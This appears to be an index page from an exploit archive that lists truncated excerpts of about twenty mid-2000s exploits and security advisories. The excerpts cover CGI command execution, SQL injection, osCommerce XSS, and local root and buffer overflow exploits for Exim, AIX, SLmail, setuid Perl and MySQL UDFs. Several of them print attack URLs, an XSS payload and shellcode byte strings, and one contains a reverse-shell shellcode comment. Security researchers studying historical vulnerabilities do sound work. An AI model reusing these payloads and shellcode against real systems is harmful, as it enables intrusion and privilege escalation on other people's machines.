formmail23.txt

-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: Form Mail Script FS Version: Location: Poland Email: groszynskif gmail com HP: http://shell.homeunix.org -- == -- == -- == -- == -- == -- == -- == -- == -- == --...

The Includer CGI <= 1.0 Remote Command Execution

Exploit for cgi platform in category web applications ================================================ The Includer CGI = 1.0 Remote Command Execution ================================================ Remote Command Execution on: Example I.: www.host-vulnerable.com/includer.cgi?|id| Example II.:...

mixedSQL.txt

Postnuke all versions + pnphpbb =1.2 sql injection - jocanor Author: Jocanor Date: 01-03-2k5 1. -----------introduction--------. Postnuke is an open source CMS content management system, originally based in php-nuke. www.postnuke.com pnphpbb is a module for postnuke based in popular forum system...

osCommerceXSS.txt

Hello All, I have discovered XSS vulnerability in: osCommerce 2.2-MS2 Authors Site: http://www.oscommerce.com/ +-Example:--------------------------------------------------+ XSS: http://www.victimsite.com/contactus.php?&name=1&email=1&enquiry=%3C/textare a%3E%3Cscript%3Ealert'w00t';%3C/script%3E...

Plugins can be used to load privileged content — Mozilla

Plugins such as flash can be used to load privileged content into a frame. Once loaded various spoofs can be applied to get the user to interact with the privileged content. Michael Krax's "Fireflashing" example demonstrates that an attacker can open about:config in a frame, hide it with an opaci...

Typespeed 0.4.1 - Local Format String

// source: https://www.securityfocus.com/bid/12569/info typespeed is prone to a local format string vulnerability. Successful could allow privilege escalation. / Proof of Concept local exploit for typespeed tool "enva" content: include include int mainint argc, char argv char addrptr = NULL;...

[NOBYTES.COM: #2] CubeCart 2.0.4 - Multiple Vulnerabilities

Vulnerable Systems: ---------------- vBulletin version 3.0 up to and including version 3.0.4 Immune systems: ---------------- vBulletin version 3.0.5 vBulletin version 3.0.6 Vulnerable code in forumdisplay.php : if $vboptions'showforumusers' . . . . if $bbuserinfo'userid' . . . . $comma = ', ';...

MyPHP Forum 1.0 - SQL Injection

MyPHP Forum 1.0 - SQL Injection /==========================================/ // GHC - MyPHP Forum - ADVISORY // Product: MyPHP Forum // Version: 1.0 // URL: http://www.myphp.ws // VULNERABILITY CLASS: SQL injection /==========================================/ example of exploit...

MyPHP Forum 1.0 SQL Injection Exploit

No description provided by source. /==========================================/ // GHC - MyPHP Forum - ADVISORY // Product: MyPHP Forum // Version: 1.0 // URL: http://www.myphp.ws // VULNERABILITY CLASS: SQL injection /==========================================/ example of exploit...

Setuid perl PerlIO_Debug() overflow

Exploit for linux platform in category local exploits =================================== Setuid perl PerlIODebug overflow =================================== / Copyright Kevin Finisterre Setuid perl PerlIODebug overflow Tested on Debian 3.1 perl-suid 5.8.4-5 11:07:20 corezion: who is tha man wit...

trn-test.txt

/ /usr/bin/trn local root exploit By ZzagorR - http://www.rootbinbash.com / / sh-2.05b$ ./trn usage : ./trn ret buf example : ./trn 0xbfffff64 + mandrake 9.2 = 0xbfffff96 + slackware 10.0.0= 0xbfffff98 + slackware 9.1.0= 0xbfffff84 sh-2.05b$ sh-2.05b$ ./trn 0xbfffff84 128 BOO % 128 RET % bfffff84...

AWStats 6.0 6.2 - configdir Remote Command Execution (C)

AWStats 6.0 6.2 - configdir Remote Command Execution C / AwStats exploit by Thunder, [email protected] This exploit makes use of the remote command execution bug discovered in AwStats ver 6.2 and below. The bug resides in the awstats.pl perl script. The script does not sanitise correctly the us...

IEurlflaw.txt

All, The following very simple! code calls a URL in the browser window but fails to update the address bar in IE. Looks like the form submission is suspended with the interrupt of the 'window.alert' call. IE then fails to correctly handle. Might be helpful in facilitating phishing style attacks...

Exim <= 4.41 dns_build_reverse Local Exploit PoC

Exploit for linux platform in category local exploits ================================================ Exim int main int argc, char argv static char shellcode= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"...

Portcullis Security Advisory 05-004

Portcullis Security Advisory Vulnerable System: MediaPartner 5.0 Vulnerability Title: In Place Password Update Process Flawed Vulnerability discovery and development: Portcullis Security Testing Service Affected systems: Emotion MediaPartner Web Server Version 5.0 5.1 not confirmed Details: The...

[EXPL] iWebNegar Configuration Nullification &#40;DoS&#41;

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...

MySQL 4.0.17 (Linux) - User-Defined Function (UDF) Dynamic Library (1)

/ $Id: raptorudf.c,v 1.1 2004/12/04 14:44:39 raptor Exp $ raptorudf.c - dynamic library for dosystem MySQL UDF Copyright c 2004 Marco Ivaldi This is an helper dynamic library for local privilege escalation through MySQL run with root privileges very bad idea!. Tested on MySQL 4.0.17. Code ripped...

Seattle Lab Mail (SLmail) 5.5 - POP3 PASS Remote Buffer Overflow (2)

Seattle Lab Mail SLmail 5.5 - POP3 PASS Remote Buffer Overflow 2 include include include include include include include include include include define retadd "\x9f\x45\x3a\x77" /win2k server sp4 0x773a459f/ define port 110 / revshell العراق القراصنة المجموعة/ char shellcode =...

AIX 5.1 &lt; 5.3 - paginit Local Stack Overflow

/ exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart / define RETADDR 0x2ff22c90 char shellcode = "\x7c\xa5\x2a\x79" "\x40\x82\xff\xfd" "\x7c\xa8\x02\xa6"...

wget 1.9 - Directory Traversal

wget 1.9 - Directory Traversal !/usr/bin/perl -W wgettrap.poc -- A POC for the wget1 directory traversal vulnerability Copyright 2004 Jan Min???? jjminar fastmail fm License: Public Domain When wget connects to us, we send it a HTTP redirect constructed so that wget wget will connect the second...